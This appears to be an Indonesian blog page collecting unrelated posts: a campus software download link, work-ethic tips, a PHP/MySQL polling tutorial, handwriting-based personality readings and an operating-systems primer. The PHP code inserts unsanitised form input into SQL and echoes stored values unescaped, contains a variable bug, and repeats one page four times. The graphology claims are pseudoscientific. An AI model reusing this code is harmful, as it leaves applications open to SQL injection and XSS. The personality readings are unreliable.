Program akademik kampus

program akademik kampus ini mencakup form seperti

1. form master mahasiswa

2. form master dosen dan karyawan

3. form master mata kuliah

4. form KRS (kartu rencana setudi)

5. form KHS (kartu hasil studi)

6. form penilaian dari dosen

7. form jadwal mata kuliah

8. form  penggajian karyawan dan dosen

9. form master pelanggan perpustakaan

10. form transaksi peminjaman buku

11. form master buku

12. form login

dll

jika anda ingin download kunjungi link dibawah ini

http://www.mediafire.com/?d3m7vciqf0egino

7 Prinsip Orang Tionghoa

Bangsa Tionghoa terkenal dengan kerja keras dan keuletan mereka dalam menggapai mimpi. Nama-nama seperti Mari Pangestu, Bob Sadino, Agnes Monica, Richard Oh dan Angelique Wijaya, pasti tak asing lagi di telinga Anda. Mereka hanya contoh kecil tokoh Indonesia keturunan Tionghoa yang mengukir prestasi cemerlang di bidang karir masing-masing. Mereka sekaligus membuktikan, warga Tionghoa tidak hanya bisa sukses sebagai pegadang. Etos kerja dan semangat juang tinggi (meski terkadang juga bisa dinilai sangat ambisius) adalah modal mereka. Melengkapi artikel sebelumnya tentang Tips Meniru Rahasia Sukse Orang China, berikut ini adalah 7 Prinsip (Kumpulan etos kerja hebat dan pantas ditiru) yang dipegang teguh orang Tionghoa dalam mengejar kesuksesan hidup:

1. Tak Takut Bermimpi. Meniti karir dari posisi paling bawah sekalipun, orang Tionghoa tidak gengsi. “Sebab, walau masih berada di bawah, mereka tidak takut bermimpi meraih jabatan paling tinggi, Misalnya, ketika menjadi seorang loper Koran, ia akan bermimpi memiliki sebuah penerbitan Koran,” ujar Drs. Sidharta Wirahadikusuma, M.Ed, Pengajar Jurusan Bahasa & Sastra Mandarin di Universitas Kristen Indonesia (UKI) dan Ketua Konsorsium Daerah Bahasa Mandarin Dikmenti DKI Jakarta. Dengan menggenggam impian setinggi langit ini, disadari atau tidak, Anda pun akan berusaha mencari jalan dan menyusun strategi untuk mencapainya. “Orang Tionghoa amat percaya bahwa roda kehidupan itu selalu berputar. Suatu saat berada di bawah, namun di lain waktu pasti akan berhasil mencapai posisi puncak,” imbuh Sidharta.

2. Bekerja dan Bekerja. Bekerja dan menghasilkan suatu karya adalah salah satu cara untuk membuktikan kepada dunia tentang keberadaan diri Anda. Orang Tionghoa memegang hal ini sebagai pedoman hidup. “Ibaratnya, apabila tidak bekerja atau pun tidak melakukan sesuatu yang berguna bagi diri sendiri, keluarga dan orang lain, apa gunanya hidup.” Ujar Sidharta. Waktu dan kesempatan adalah suatu kemewahan yang pantang disia-siakan oleh orang Tionghoa. JIka memakai filosofi ini dalam berkarir, maka itu berarti jangan selalu menakar tugas hanya dengan kepuasan materi. Sebab dengan menghasilkan karya yang baik, Anda pun sudah memperoleh kepuasan pribadi dan makin menguasai bidang pekerjaan yang Anda tekuni saat ini. Jangan lupa bahwa pembuktian diri berupa karya yang baik juga bisa menjadi ajang promosi diri. Bukan hanya pembuktian diri di perusahaan temapt Anda bekerja, namun juga akan sampai ke perusahaan tetangga.

3. Berpikir Untuk 3 Keturunan. Menurut falsafah Konghucu, bangsa Tionghoa selalu berpikir untuk 3 keturunan sekaligus, yaitu untuk dirinya, anak dan cucunya. Contohnya bila ia memiliki uang Rp50.000, maka ia tidak akan menggunakan seluruhnya untuk kepentingan pribadi, melainkan hanya sekitar Rp15.000 saja. Sisanya akan disimpan untuk keperluan anak dan cucu. Dengan bersikap hemat, mereka bisa mengantisipasi berbagaia masalah yang mungkin timbul di kemudian hari.

4. Tak Pernah Menyerah. Setiap orang pasti menemukan rintangan dalam hidup. Namun, setiap rang juga memiliki cara berbeda dalam menyikapinya. Orang Tionghoa percaya, setiap rintangan dalam kehidupan ini akan membawa dirinya pada kondisi yang lebih baik. Ibarat ujian kenaikan pangkat, kalau berhasil dilewati maka akan memperoleh ganjaran (hasil) yang lebih besar. Ada pepatah klasik yang sejalan denganhal ini yaitu, kehidupan seseorang hendaknya seperti “ikan mas yang berhasil melompati jembatan naga”. Di Jepang dan Cina, ikan mas adalah lambangn kekayaan dan kesejahteraan. Di sungai mereka berenang menentang arus dari hilir ke hulu, untuk menangkap makanan. Walau sesekal terbawa arus, mereka berenang kembali menuju arah semula. Untuk menangkal kuatnya arus, ikan mas berenang menepi. “Pelajaran yang bisa ditarik adalah setiap orang harus mau berusaha untuk mencapai sesuatu. Kalau menemukan masalah, jangan lekas menyerah dan berusahalah mencari solusinya. Kemudian, maju lagi menuju tujuan semula,” ujar Sidharta.

5. Menguasai Bisnis Dari Hulu ke Hilir. Dalam buku “Resep Kaya Ala Tionghoa” karya Lie Charlie, agar lebih hemat, seorang pengusaha Tionghoa akan berusaha memangkas biaya produksi dengan cara menangani sendiri keseluruhan proses produksinya. Misalnya, seorang pengusaha mie instan akan membuat sendiri semua bahan baku mie. Tepung terigu, bumbu-bumbu bawang, cabai, atau tmat diusahakan dibuat sendiri atau dengan menggandeng pemasok yang sudah dikenal, sehingga bisa member nya harga ‘miring’. Jadi selain berkonsentrasi pada bisnis hilir, pengusaha Tionghoa juga akan mengembangkan bisnis di hulu  untuk mendukung keseluruhan usahanya. Meski cara yang biasa ditempuh pengusaha Tionghoa ini secara ilmu ekonomi bisa berbahaya karena rawan tindak monopoli, Anda bisa mengambil sisi positifnya. Misalnya, sebagai pegawai, Anda juga bisa menerapkan tips ini dengan cara mengenal dan (kalau bisa) mengusai seluruh pekerjaan yang berkaitan dengan posisi Anda di kantor. Misalnya, sebagai seorang staf marketing suatu perusahaan penerbitan, Anda juga perlu mengetahui  proses pembuatan naskah, layout, hingga pemasarannya. Bekali pula diri Anda dengan ilmu-ilmu yang bermanfaat dari pelbagai sumber. Bukankah Anda punya cita-cita pada suatu saat nanti akan memiliki sebuah perusahaan penerbitan sendiri?

6. Memberi Service Terbaik. Memelihara reputasi adalah poin penting yang harus dipegang setiap orang. Sebab Anda sendiri akan enggan memiliki hubungan dengan seseorang yang tidak dapat dipercaya bukan? Dalam karir, menjaga reputasi dan nama baik bisa dilakukan dengan cara: selalu menepati janji, menaati tenggat pekerjaan serta selalu menampilkan kesan baik di mata setiap orang yang berhubungan dengan Anda. Terkait denga hal ini, dalam kebudayaan Tionghoa, ada pepatah yang berbunyi “Jika tidak pandai tersenyum, janganlah membuka toko.”Kira-kira maksudnya adalah dalam berkarir ataupun berbisnis, kemampuan kerja seseorang bukanlah hal utama yang dijadikan penilaian, faktor yang tak kalah penting adalah menyangkut kemampuan membawa diri dan kesediaan untuk memberika pelayanan yang terbaik setiap kali mengerjakan sesuatu.

7. Memelihara Relasi. Orang Tionghoa amat mementingkan kekerabatan dan relasi. Mereka percaya bahwa tidak ada orang yang memapu hidup sendiri tanp bantuan orang lain. Dengan memiliki relasi, peluang bisnis terbuka lebar. Bagi pengusaha Tionghoa, pelanggan juga termasuk relasi yang harus dijaga dengan baik. Bahkan demi mendapatkan pelanggan setia, mereka tidak akan segan untuk merugi di awal. Pepatah mereka mengatakan, “walau berisik dan membuang kotoran di mana-mana, seseorang tidak boleh menyembelih seekor angsa bertelur emas” Jadi, ibarat memelihara seekor angsa bertelur emas, maka seorang pengusaha wajib menjaga hubungan baik dengan pelanggannya, walaupun pelanggannya seringkali merepotkan. Dalam berkarir, Anda pun harus menjaga hubungan baik dengan rekan kerja, atasan, bawahan serta klien. Dengan menjaga hubungan yang dimiliki, niscaya kebahagiaan dan kesuksesan tidak akan berada jauh dari tempat Anda berdir saat ini.

Belajar program Input data dengan PHP & MySQl

pollingnew.php

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>INPUT DATA</title>
<style type=”text/css”>
<!–
.style1 {font-family: “Times New Roman”, Times, serif}
.style3 {font-family: Verdana, Arial, Helvetica, sans-serif}
.style4 {font-family: “Courier New”, Courier, monospace}
.style5 {color: #000000}
–>
</style>
</head>

<body>
<center>
<form action=”pollingNewSim.php” method=”post” name=”form1″ target=”_blank” id=”form1″>
<table width=”520″ border=”0″ cellspacing=”1″ cellpadding=”2″>
<tr>
<td height=”25″ colspan=”3″><div align=”center”><span><span><span></span></span></span><span><blink>
</blink><blink></blink><blink></blink></span><blink><div align=”left”><span><strong>
<div align=”center”>MASUKKAN DATA POLLING</div>
</strong></span></div>
</blink></div></td>
</tr>
<tr>
<th width=”152″ height=”61″ align=”right” bgcolor=”#339900″><div align=”center”><span>Pertanyaan</span></div></th>
<td width=”354″ bgcolor=”#339900″><textarea name=”txttanya” id=”txttanya” cols=”50″ rows=”2″></textarea></td>
<td width=”44″><label></label></td>
</tr>
<tr>
<th align=”right” bgcolor=”#339900″><div align=”center”><span>Pilihan1</span></div></th>
<td bgcolor=”#339900″><input name=”txtpilih1″ type=”text” id=”txtpilih1″ size=”50″ maxlength=”100″ /></td>
<td bordercolor=”#000000″ bgcolor=”#FFFFFF”><label></label></td>
</tr>
<tr>
<th align=”right” bgcolor=”#339900″><div align=”center”><span>Pilihan2</span></div></th>
<td bgcolor=”#339900″><input name=”txtpilih2″ type=”text” id=”txtpilih2″ size=”50″ maxlength=”100″ /></td>
<td bordercolor=”#000000″ bgcolor=”#FFFFFF”><label></label></td>
</tr>
<tr>
<th align=”right” bgcolor=”#339900″><div align=”center”><span>Pilihan3</span></div></th>
<td bgcolor=”#339900″><input name=”txtpilih3″ type=”text” id=”txtpilih3″ size=”50″ maxlength=”100″ /></td>
<td><label></label></td>
</tr>
<tr>
<th align=”right” bgcolor=”#339900″><div align=”center”><span>Pilihan4</span></div></th>
<td bgcolor=”#339900″><input name=”txtpilih4″ type=”text” id=”txtpilih4″ size=”50″ maxlength=”100″ /></td>
<td><label></label></td>
</tr>
<tr>
<th align=”right” bgcolor=”#339900″><div align=”center”><span>Status Aktif</span></div></th>
<th bgcolor=”#339900″><input type=”radio” name=”rbstatus” id=”radio” value=”Y” />
<span>Ya</span>
<input name=”rbstatus” type=”radio” id=”radio2″ value=”N” checked=”CHECKED” />
<span> Tidak</span></th>
<td><label></label></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=”submit” name=”button” id=”button” value=”Simpan” />
<input type=”reset” name=”button2″ id=”button2″ value=”Hapus” />
<a href=”mn.html”>
<input type=”radio” name=”radio3″ id=”radio3″ value=”radio3″ />
Menu</a><a href=”pollingEditTampil.php”>
<input type=”radio” name=”radio4″ id=”radio4″ value=”radio4″ />
Lihat Data </a></td>
<td><label for=”button2″></label></td>
</tr>
</table>
</form>
</body>
</center>
</html>
pollingNewSim.php

<?php
include”../library/inc.koneksidb.php”;
$txttanya = $_POST[‘txttanya’];
$txtpilih1        = $_POST[‘txtpilih1’];
$txtpilih2        = $_POST[‘txtpilih2’];
$txtpilih3        = $_POST[‘txtpilih3’];
$txtpilih4        = $_POST[‘txtpilih4’];
$rbstatus = $_POST[‘$rbstatus’];
if(trim($txttanya) ==””) {
echo “pertanyaan masih kosong, tolong diisi!”;
}
else if (trim($txtpilih1) ==””) {
echo “pilihan1 masih kosong, tolong diisi”;
}
else if (trim($txtpilih2) ==””) {
echo “pilihan2 masih kosong, tolong diisi”;
}
else if (trim($txtpilih3) ==””) {
echo “pilihan3 masih kosong, tolong diisi”;
}
else if (trim($txtpilih4) ==””) {
echo “pilihan4 masih kosong, tolong diisi”;
}
else{
$sqlsimpan = “INSERT INTO polling SET
pertanyaan=’$txttanya’,
jawab1      =’$txtpilih1′,
jawab2      =’$txtpilih2′,
jawab3      =’$txtpilih3′,
jawab4      =’$txtpilih4′,
statusaktif=’$rbstatus'”;
mysql_query($sqlsimpan, $koneksi)
or die (“gagal perintah SQL”.mysql_error());
#jika sukses
echo “PENYIMPANAN DATA POLLING BARU BERHASIL”;
}
?>

pollingEditTampil.php

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>Daftar Materi Polling</title>
<style type=”text/css”>
<!–
.style1 {
font-family: “Courier New”, Courier, monospace;
font-weight: bold;
font-size: 24px;
}
.style2 {font-family: “Courier New”, Courier, monospace}
–>
</style>
</head>

<body>

<p align=”center”>Tampilan Data </p>
<div align=”center”>
<table width=”838″ height=”49″ border=”0″ bgcolor=”#33FF66″ cellpadding=”2″ cellspacing=”1″>
<tr>
<td width=”43″ bgcolor=”#009900″><div align=”center”><strong>No</strong></div></td>
<td width=”215″ bgcolor=”#009900″><div align=”center”>Pertanyaan</div></td>
<td width=”88″ bgcolor=”#009900″><div align=”center”>Pilihan1</div></td>
<td width=”110″ bgcolor=”#009900″><div align=”center”>Pilihan2</div></td>
<td width=”131″ bgcolor=”#009900″><div align=”center”>Pilihan3</div></td>
<td width=”95″ bgcolor=”#009900″><div align=”center”>Pilihan4</div></td>
<td width=”120″ bgcolor=”#009900″><div align=”center”>Menu</div></td>
</tr>
<tr>
<?php
include”../library/inc.koneksidb.php”;
$sqlTampil = “SElECT * FROM polling ORDER BY id”;
$qryTampil = mysql_query($sqlTampil, $koneksi)
or die (“Gagal query”.mysql_error());
while($dataTampil=mysql_fetch_array($qryTampil))
{
$no++
?>
<tr bgcolor=”#3399FF”>
<td bgcolor=”#009900″> <div align=”center”><?php echo $no; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”left”><?php echo $dataTampil[‘pertanyaan’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab1’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab2’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab3’]; ?></div></td>
<td bgcolor=”#66CC00″><div align=”center”><?php echo $dataTampil[‘jawab4’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><a href=”ubah.php”>Ubah</a> | <a href=”hapus.php”>Hapus</a></div></td>
</tr>
<?php } ?>
</table>
</div>
<p align=”center”><a href=”pollingnew.php”> Kembali Mengisi Data</a> | <a href=”mn.html”>Menu&gt;&gt;</a></p>
</body>
</html>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>Daftar Materi Polling</title>
<style type=”text/css”>
<!–
.style1 {
font-family: “Courier New”, Courier, monospace;
font-weight: bold;
font-size: 24px;
}
.style2 {font-family: “Courier New”, Courier, monospace}
–>
</style>
</head>

<body>

<p align=”center”>Tampilan Data </p>
<div align=”center”>
<table width=”838″ height=”49″ border=”0″ bgcolor=”#33FF66″ cellpadding=”2″ cellspacing=”1″>
<tr>
<td width=”43″ bgcolor=”#009900″><div align=”center”><strong>No</strong></div></td>
<td width=”215″ bgcolor=”#009900″><div align=”center”>Pertanyaan</div></td>
<td width=”88″ bgcolor=”#009900″><div align=”center”>Pilihan1</div></td>
<td width=”110″ bgcolor=”#009900″><div align=”center”>Pilihan2</div></td>
<td width=”131″ bgcolor=”#009900″><div align=”center”>Pilihan3</div></td>
<td width=”95″ bgcolor=”#009900″><div align=”center”>Pilihan4</div></td>
<td width=”120″ bgcolor=”#009900″><div align=”center”>Menu</div></td>
</tr>
<tr>
<?php
include”../library/inc.koneksidb.php”;
$sqlTampil = “SElECT * FROM polling ORDER BY id”;
$qryTampil = mysql_query($sqlTampil, $koneksi)
or die (“Gagal query”.mysql_error());
while($dataTampil=mysql_fetch_array($qryTampil))
{
$no++
?>
<tr bgcolor=”#3399FF”>
<td bgcolor=”#009900″> <div align=”center”><?php echo $no; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”left”><?php echo $dataTampil[‘pertanyaan’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab1’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab2’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab3’]; ?></div></td>
<td bgcolor=”#66CC00″><div align=”center”><?php echo $dataTampil[‘jawab4’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><a href=”ubah.php”>Ubah</a> | <a href=”hapus.php”>Hapus</a></div></td>
</tr>
<?php } ?>
</table>
</div>
<p align=”center”><a href=”pollingnew.php”> Kembali Mengisi Data</a> | <a href=”mn.html”>Menu&gt;&gt;</a></p>
</body>
</html>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>Daftar Materi Polling</title>
<style type=”text/css”>
<!–
.style1 {
font-family: “Courier New”, Courier, monospace;
font-weight: bold;
font-size: 24px;
}
.style2 {font-family: “Courier New”, Courier, monospace}
–>
</style>
</head>

<body>

<p align=”center”>Tampilan Data </p>
<div align=”center”>
<table width=”838″ height=”49″ border=”0″ bgcolor=”#33FF66″ cellpadding=”2″ cellspacing=”1″>
<tr>
<td width=”43″ bgcolor=”#009900″><div align=”center”><strong>No</strong></div></td>
<td width=”215″ bgcolor=”#009900″><div align=”center”>Pertanyaan</div></td>
<td width=”88″ bgcolor=”#009900″><div align=”center”>Pilihan1</div></td>
<td width=”110″ bgcolor=”#009900″><div align=”center”>Pilihan2</div></td>
<td width=”131″ bgcolor=”#009900″><div align=”center”>Pilihan3</div></td>
<td width=”95″ bgcolor=”#009900″><div align=”center”>Pilihan4</div></td>
<td width=”120″ bgcolor=”#009900″><div align=”center”>Menu</div></td>
</tr>
<tr>
<?php
include”../library/inc.koneksidb.php”;
$sqlTampil = “SElECT * FROM polling ORDER BY id”;
$qryTampil = mysql_query($sqlTampil, $koneksi)
or die (“Gagal query”.mysql_error());
while($dataTampil=mysql_fetch_array($qryTampil))
{
$no++
?>
<tr bgcolor=”#3399FF”>
<td bgcolor=”#009900″> <div align=”center”><?php echo $no; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”left”><?php echo $dataTampil[‘pertanyaan’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab1’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab2’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab3’]; ?></div></td>
<td bgcolor=”#66CC00″><div align=”center”><?php echo $dataTampil[‘jawab4’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><a href=”ubah.php”>Ubah</a> | <a href=”hapus.php”>Hapus</a></div></td>
</tr>
<?php } ?>
</table>
</div>
<p align=”center”><a href=”pollingnew.php”> Kembali Mengisi Data</a> | <a href=”mn.html”>Menu&gt;&gt;</a></p>
</body>
</html>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>Daftar Materi Polling</title>
<style type=”text/css”>
<!–
.style1 {
font-family: “Courier New”, Courier, monospace;
font-weight: bold;
font-size: 24px;
}
.style2 {font-family: “Courier New”, Courier, monospace}
–>
</style>
</head>

<body>

<p align=”center”>Tampilan Data </p>
<div align=”center”>
<table width=”838″ height=”49″ border=”0″ bgcolor=”#33FF66″ cellpadding=”2″ cellspacing=”1″>
<tr>
<td width=”43″ bgcolor=”#009900″><div align=”center”><strong>No</strong></div></td>
<td width=”215″ bgcolor=”#009900″><div align=”center”>Pertanyaan</div></td>
<td width=”88″ bgcolor=”#009900″><div align=”center”>Pilihan1</div></td>
<td width=”110″ bgcolor=”#009900″><div align=”center”>Pilihan2</div></td>
<td width=”131″ bgcolor=”#009900″><div align=”center”>Pilihan3</div></td>
<td width=”95″ bgcolor=”#009900″><div align=”center”>Pilihan4</div></td>
<td width=”120″ bgcolor=”#009900″><div align=”center”>Menu</div></td>
</tr>
<tr>
<?php
include”../library/inc.koneksidb.php”;
$sqlTampil = “SElECT * FROM polling ORDER BY id”;
$qryTampil = mysql_query($sqlTampil, $koneksi)
or die (“Gagal query”.mysql_error());
while($dataTampil=mysql_fetch_array($qryTampil))
{
$no++
?>
<tr bgcolor=”#3399FF”>
<td bgcolor=”#009900″> <div align=”center”><?php echo $no; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”left”><?php echo $dataTampil[‘pertanyaan’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab1’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab2’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab3’]; ?></div></td>
<td bgcolor=”#66CC00″><div align=”center”><?php echo $dataTampil[‘jawab4’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><a href=”ubah.php”>Ubah</a> | <a href=”hapus.php”>Hapus</a></div></td>
</tr>
<?php } ?>
</table>
</div>
<p align=”center”><a href=”pollingnew.php”> Kembali Mengisi Data</a> | <a href=”mn.html”>Menu&gt;&gt;</a></p>
</body>
</html>

pollingTampil.php

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>Daftar Materi Polling</title>
<style type=”text/css”>
<!–
.style1 {
font-family: “Courier New”, Courier, monospace;
font-weight: bold;
font-size: 24px;
}
.style2 {font-family: “Courier New”, Courier, monospace}
–>
</style>
</head>

<body>

<p align=”center”>Tampilan Data </p>
<div align=”center”>
<table width=”838″ height=”49″ border=”0″ bgcolor=”#33FF66″ cellpadding=”2″ cellspacing=”1″>
<tr>
<td width=”43″ bgcolor=”#009900″><div align=”center”><strong>No</strong></div></td>
<td width=”215″ bgcolor=”#009900″><div align=”center”>Pertanyaan</div></td>
<td width=”88″ bgcolor=”#009900″><div align=”center”>Pilihan1</div></td>
<td width=”110″ bgcolor=”#009900″><div align=”center”>Pilihan2</div></td>
<td width=”131″ bgcolor=”#009900″><div align=”center”>Pilihan3</div></td>
<td width=”95″ bgcolor=”#009900″><div align=”center”>Pilihan4</div></td>
<td width=”120″ bgcolor=”#009900″><div align=”center”>Menu</div></td>
</tr>
<tr>
<?php
include”../library/inc.koneksidb.php”;
$sqlTampil = “SElECT * FROM polling ORDER BY id”;
$qryTampil = mysql_query($sqlTampil, $koneksi)
or die (“Gagal query”.mysql_error());
while($dataTampil=mysql_fetch_array($qryTampil))
{
$no++
?>
<tr bgcolor=”#3399FF”>
<td bgcolor=”#009900″> <div align=”center”><?php echo $no; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”left”><?php echo $dataTampil[‘pertanyaan’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab1’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab2’]; ?> </div></td>
<td bgcolor=”#66CC00″> <div align=”center”><?php echo $dataTampil[‘jawab3’]; ?></div></td>
<td bgcolor=”#66CC00″><div align=”center”><?php echo $dataTampil[‘jawab4’]; ?></div></td>
<td bgcolor=”#66CC00″> <div align=”center”><a href=”ubah.php”>Ubah</a> | <a href=”hapus.php”>Hapus</a></div></td>
</tr>
<?php } ?>
</table>
</div>
<p align=”center”><a href=”pollingnew.php”> Kembali Mengisi Data</a> | <a href=”mn.html”>Menu&gt;&gt;</a></p>
</body>
</html>

 

Trik membaca karakter orang lewat tulisan

Setiap tulisan yang di buat oleh seseorang mencerminkan kepribadian orang tersebut.. Teknik ini saya baca dari buku yang berjudul “Face read” dan dapat dari  alamat-alamat web di namakan Grafologi. Dan tentunya butuh waktu dan kebiasaan  untuk mengerti dan memahami trik ini. Bagaimanakah cara membaca nya? Mungkin sebagian dari teman teman ingin tahu kepribadian orang dari gaya menulisnya berikut triknya..

1. Arah kemiringan huruf

Ke kanan = ekspresif, emosional

Tegak = menahan diri, emosi sedang

Ke kiri = menutup diri

Ke segala arah dalam 1 kalimat = tidak konsisten

Ke segala arah dalam 1 kata = ada masalah dengan kepribadiannya

2. Bentuk umum huruf-huruf

Bulat atau melingkar = alami, easygoing

Bersudut tajam = agresif, to the point, energi kuat

Bujursangkar = realistis, praktek berdasar pengalaman

Coretan tak beraturan = artistik, tidak punya standar

3. Huruf-huruf bersambung atau tidak

Bersambung seluruhnya = sosial, suka bicara dan bertemu dengan orang banyak

Sebagian bersambung sebagian lepas = pemalu, idealis yang agak sulit membina hubungan (terlebih hubungan spesial).

Lepas seluruhnya = berpikir sebelum bertindak, cerdas, seksama

4. Spasi antar kata

Berjarak tegas = suka berbicara (mungkin orang yang selalu sibuk?)

Rapat/Seolah tidak berjarak = tidak sabaran, percaya diri dan cepat bertindak

5. Jarak vertikal antar baris tulisan

Sangat jauh = terisolasi, menutup diri, bahkan mungkin anti sosial

Cukup berjarak sehingga huruf di baris atas tidak bersentuhan dengan baris di bawahnya = boros, suka bicara

Berjarak rapat sehingga ujung bawah huruf ‘y’, ‘g’, menyentuh ujung atas huruf ‘h’, ‘t’ = organisator yang baik

6. Interpretasi huruf ‘t’

Letak palang (-) pada kail ‘t’

– Cenderung ke kiri = pribadi waspada, tidak mudah percaya

– Tepat di tengah = pribadi yang kurang orisinil tapi sangat bertanggung jawab

– Cenderung ke kanan = pribadi handal, teliti, mampu memimpin

Panjang kail ‘t’ menunjukkan kemampuan potensial untuk mencapai target.

Tinggi-rendah palang (-) pada kail ‘t’

– Rendah = setting target lebih rendah dari kemampuan sebenarnya (kurang percaya diri atau pemalas)

– Tinggi = setting target tinggi tapi juga diimbangi oleh kemampuan

– Di atas kail = setting target lebih tinggi dibanding kemampuan

7. Arah tulisan pada kertas

Naik/menanjak = energik, optimis, tegas

Tetap/lurus = perfeksionis, sulit bergaul

Turun = seorang yang tertekan atau lelah, kemungkinan menutup diri

8. Tekanan saat menulis

Makin kuat tekanan, makin besar intensitas emosional penulisnya.

9. Ukuran huruf

Makin kecil huruf yang ditulis, maka makin besar tingkat konsenterasi si penulis, begitu pula sebaliknya.

10. Sedikit tentang huruf “O”

– Adanya rahasia ditunjukkan oleh lingkaran kecil pada huruf “O”

– Kebohongan ditunjukkan oleh lingkaran huruf “O” yang mengarah ke kanan

Sistem Operasi

Mungkin kata Sistem Operasi sudah tidak asing lagi dodengar ditelinga anda dengan kata “Sistem Operasi” dalam kehidupan sehari-hari, tapi mungkin kalau yang belum pernah mendengar apa sih Sistem Operasi itu..????    dan kali ini saya akan membahas sedikit tentang Sistem Operasi.
Sistem operasi merupakan sebuah penghubung antara pengguna dari komputer dengan perangkat keras komputer,Sebelum ada sistem operasi, orang hanya mengunakan komputer dengan menggunakan sinyal analog dan sinyal digital. Seiring dengan berkembangnya pengetahuan dan teknologi, pada saat ini terdapat berbagai sistem operasi dengan keunggulan masing-masing, dan pengertian dari Sistem Operasi adalah pengelola seluruh sumber-daya yang terdapat pada sistem
komputer dan menyediakan sekumpulan layanan (system calls) ke pemakai sehingga memudahkan dan
menyamankan penggunaan serta pemanfaatan sumber-daya sistem komputer.
Fungsi dasar Sistem Operasi
Sistem komputer pada dasarnya terdiri dari empat komponen utama, yaitu

1.      perangkat-keras,

2.      perangkat lunak (program aplikasi),

3.      sistem-operasi,

4.       pengguna (user).

fungsi yang utama Sistem Operasi
1. Sistem komputer pada dasarnya terdiri dari empat komponen utama, yaitu perangkat-keras, program aplikasi, sistem-operasi, dan para pengguna.
2. Untuk menghindari konflik yang terjadi pada saat pengguna menggunakan sumber-daya yang sama, sistem operasi mengatur pengguna mana yang dapat mengakses suatu sumber-daya. Sistem Operasi dapat diibaratkan kalau dinegara yaitu sebagai pemerintahan, juka dalama sebuah negara tidak ada pemerintahannya maka negara tersebut akan kacau begitupun dengan komputer jika tidak ada Operasi Sistem maka komputer tersebut tidak akan berjalan dengan benar.
3. Untuk menghindari konflik yang terjadi pada saat pengguna menggunakan sumber-daya yang sama, sistem operasi mengatur pengguna mana yang dapat mengakses suatu sumber-daya.
Komponen-komponen Sistem Operasi
* Managemen Proses.
* Managemen Memori Utama.
* Managemen Secondary-Storage.
* Managemen Sistem I/O.
* Managemen Berkas.
* Sistem Proteksi.
* Jaringan.
* Command-Interpreter system.

Managemen Berkas

Berkas adalah kumpulan informasi yang berhubungan sesuai dengan tujuan pembuat berkas tersebut. Berkas dapat mempunyai struktur yang bersifat hirarkis (direktori, volume, dll.). Sistem operasi bertanggung-jawab:

  • Pembuatan dan penghapusan berkas.
  • Pembuatan dan penghapusan direktori.
  • Mendukung manipulasi berkas dan direktori.
